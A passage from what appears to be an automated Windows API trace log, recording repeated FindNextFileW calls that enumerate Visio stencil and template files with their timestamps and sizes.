ftLastWriteTime.dwLowDateTime=0xb176d000, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENTITY_U.VSS", cAlternateFileName="")) returned 1 [0079.749] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d92a00, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb3d92a00, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPC_M.VSS", cAlternateFileName="")) returned 1 [0079.749] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3bcd00, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3bcd00, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPC_M.VST", cAlternateFileName="")) returned 1 [0079.749] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb76cb100, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb76cb100, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPC_U.VSS", cAlternateFileName="")) returned 1 [0079.749] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x109e2700, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x109e2700, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPC_U.VST", cAlternateFileName="")) returned 1 [0079.749] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc94e5400, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x508debc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc94e5400, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCOBJ_M.VSS", cAlternateFileName="")) returned 1 [0079.749] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9feca00, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x508debc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9feca00, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x7ec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCOBJ_U.VSS", cAlternateFileName="")) returned 1 [0079.749] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed119a00, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x508debc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xed119a00, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x42800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FASTN1_M.VSS", cAlternateFileName="")) returned 1 [0079.749] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfef33d00, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x508debc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfef33d00, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x3ec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FASTN1_U.VSS", cAlternateFileName="")) returned 1 [0079.749] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd415900, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x508debc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd415900, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x2e200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FASTN2_M.VSS", cAlternateFileName="")) returned 1 [0079.749] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a5e4800, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a5e4800, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FASTN2_U.VSS", cAlternateFileName="")) returned 1 [0079.749] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cc0a200, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1cc0a200, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAULT_M.VSS", cAlternateFileName="")) returned 1 [0079.749] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13008100, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x13008100, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAULT_M.VST", cAlternateFileName="")) returned 1 [0079.750] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20542900, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x20542900, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAULT_U.VSS", cAlternateFileName="")) returned 1 [0079.750] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1562db00, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1562db00, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAULT_U.VST", cAlternateFileName="")) returned 1 [0079.750] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea24500, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2ea24500, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x2ee00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLOSHP_M.VSS", cAlternateFileName="")) returned 1 [0079.750] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf06100, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3cf06100, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x2b800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLOSHP_U.VSS", cAlternateFileName="")) returned 1 [0079.750] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x201d7000, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x201d7000, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x17e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLRPLN_M.VST", cAlternateFileName="")) returned 1 [0079.750] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c093200, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2c093200, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x17c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLRPLN_U.VST", cAlternateFileName="")) returned 1 [0079.750] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34616d00, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x34616d00, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPALL_M.VST", cAlternateFileName="")) returned 1 [0079.750] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b887b00, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3b887b00, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPALL_U.VST", cAlternateFileName="")) returned 1 [0079.750] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52658b00, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x5092ae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52658b00, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x4bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPASSM_M.VSS", cAlternateFileName="")) returned 1 [0079.750] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63160100, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x5092ae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x63160100, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x40200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPASSM_U.VSS", cAlternateFileName="")) returned 1 [0079.750] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79bc5800, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x5092ae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x79bc5800, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x4e400, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEQP_M.VSS", cAlternateFileName="")) returned 1 [0079.750] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ccf2800, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x5092ae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8ccf2800, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x45e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEQP_U.VSS", cAlternateFileName="")) returned 1 [0079.750] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eb0cb00, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x5092ae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9eb0cb00, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x3a200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPVALV_M.VSS", cAlternateFileName="")) returned 1 [0079.750] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae301400, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x5092ae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xae301400, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x34c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPVALV_U.VSS", cAlternateFileName="")) returned 1 [0079.750] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6884f00, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb6884f00, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x1b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREEQP_M.VSS", cAlternateFileName="")) returned 1 [0079.750] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdaf5d00, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbdaf5d00, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x1a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREEQP_U.VSS", cAlternateFileName="")) returned 1 [0079.750] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcacc4c00, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcacc4c00, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x31600, dwReserved0=0x0, dwReserved1=0x0, cFileName="FURN_M.VSS", cAlternateFileName="")) returned 1 [0079.750] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7e93b00, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd7e93b00, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x31200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FURN_U.VSS", cAlternateFileName="")) returned 1 [0079.751] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda4b9500, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xda4b9500, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANESA_M.VSS", cAlternateFileName="")) returned 1 [0079.751] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb7cc200, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7cc200, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x5200, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANESA_U.VSS", cAlternateFileName="")) returned 1 [0079.751] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6375700, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe6375700, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x1e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT_M.VSS", cAlternateFileName="")) returned 1 [0079.751] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x404d2f00, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x404d2f00, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT_M.VST", cAlternateFileName="")) returned 1 [0079.751] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc0bf00, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xefc0bf00, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT_U.VSS", cAlternateFileName="")) returned 1 [0079.751] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4511e300, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4511e300, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0xb400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT_U.VST", cAlternateFileName="")) returned 1 [0079.751] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5b6a000, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5b6a000, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x12a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="GARDEN_M.VSS", cAlternateFileName="")) returned 1 [0079.751] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbac8100, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfbac8100, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GARDEN_U.VSS", cAlternateFileName="")) returned 1 [0079.751] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x404bc00, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x404bc00, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x22800, dwReserved0=0x0, dwReserved1=0x0, cFileName="GDT_M.VSS", cAlternateFileName="")) returned 1 [0079.751] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5cf700, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc5cf700, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x21a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="GDT_U.VSS", cAlternateFileName="")) returned 1 [0079.751] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54912c00, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x54912c00, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOMPLN_M.VST", cAlternateFileName="")) returned 1 [0079.751] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62df4800, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x62df4800, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x20800, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOMPLN_U.VST", cAlternateFileName="")) returned 1 [0079.751] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1979e600, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1979e600, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACCE_M.VSS", cAlternateFileName="")) returned 1 [0079.751] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f92f00, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x28f92f00, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACCE_U.VSS", cAlternateFileName="")) returned 1 [0079.751] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34e4f100, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x34e4f100, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x2f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACC_M.VSS", cAlternateFileName="")) returned 1 [0079.751] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40d0b300, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x40d0b300, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACC_U.VSS", cAlternateFileName="")) returned 1 [0079.751] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4deda200, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4deda200, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x26e00, dwReserved0=0x0, 